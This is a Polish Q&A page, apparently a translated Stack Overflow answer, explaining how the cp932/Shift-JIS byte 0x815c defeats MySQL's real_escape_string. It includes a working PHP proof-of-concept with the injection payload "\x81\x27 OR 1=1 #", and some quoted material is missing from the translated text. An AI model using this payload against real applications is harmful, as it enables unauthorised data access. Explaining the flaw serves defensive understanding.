Mysql
 sql >> Baza danych >  >> RDS >> Mysql

Jak stworzyć atak typu SQL injection za pomocą Shift-JIS i CP932?

Diabeł tkwi w szczegółach... zacznijmy od tego, jak odpowiedź na pytanie opisuje listę wrażliwych zestawów znaków:

To daje nam trochę kontekstu - 0xbf5c jest używany jako przykład dla gbk , a nie jako uniwersalny znak używany dla wszystkich 5 zestawów znaków.
Tak się składa, że ​​ta sama sekwencja bajtów jest również prawidłowym znakiem w big5 i gb2312 .

W tym momencie Twoje pytanie staje się tak proste, jak to:

Aby być uczciwym, większość wyszukiwań w Google dla tych zestawów znaków nie daje żadnych użytecznych wyników. Ale znalazłem ten plik CP932.TXT , w którym jeśli wyszukasz '5c ' (z spacją tam), przejdziesz do tej linii:

I mamy zwycięzcę! :)

Niektóre dokumenty Oracle potwierdza, że ​​0x815c jest tym samym znakiem dla obu cp932 i sjis PHP też to rozpoznaje:

php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)

Oto skrypt PoC do ataku:

<?php
$username = 'username';
$password = 'password';

$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
        $mysqli->query("SET NAMES {$charset}");
        $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
        $mysqli->query("USE {$charset}_db");
        $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
        $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");

        $input = "\x81\x27 OR 1=1 #";
        $input = $mysqli->real_escape_string($input);
        $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
        $result = $mysqli->query($query);
        if ($result->num_rows > 1)
        {
                echo "{$charset} exploit successful!\n";
        }

        $mysqli->query("DROP DATABASE {$charset}_db");
}



  1. Database
  2.   
  3. Mysql
  4.   
  5. Oracle
  6.   
  7. Sqlserver
  8.   
  9. PostgreSQL
  10.   
  11. Access
  12.   
  13. SQLite
  14.   
  15. MariaDB
  1. Jak dodać mode=mysql do wbudowanej bazy danych H2 w Spring Boot 1.4.1 dla @DataJpaTest?

  2. Źródło danych MySQL nie pojawia się w Visual Studio

  3. Czy w MySQL istnieje alternatywa dla TOP?

  4. Jak uzyskać nazwę kolumny wyniku najmniej funkcji?

  5. Błąd składni SQL w pobliżu opisu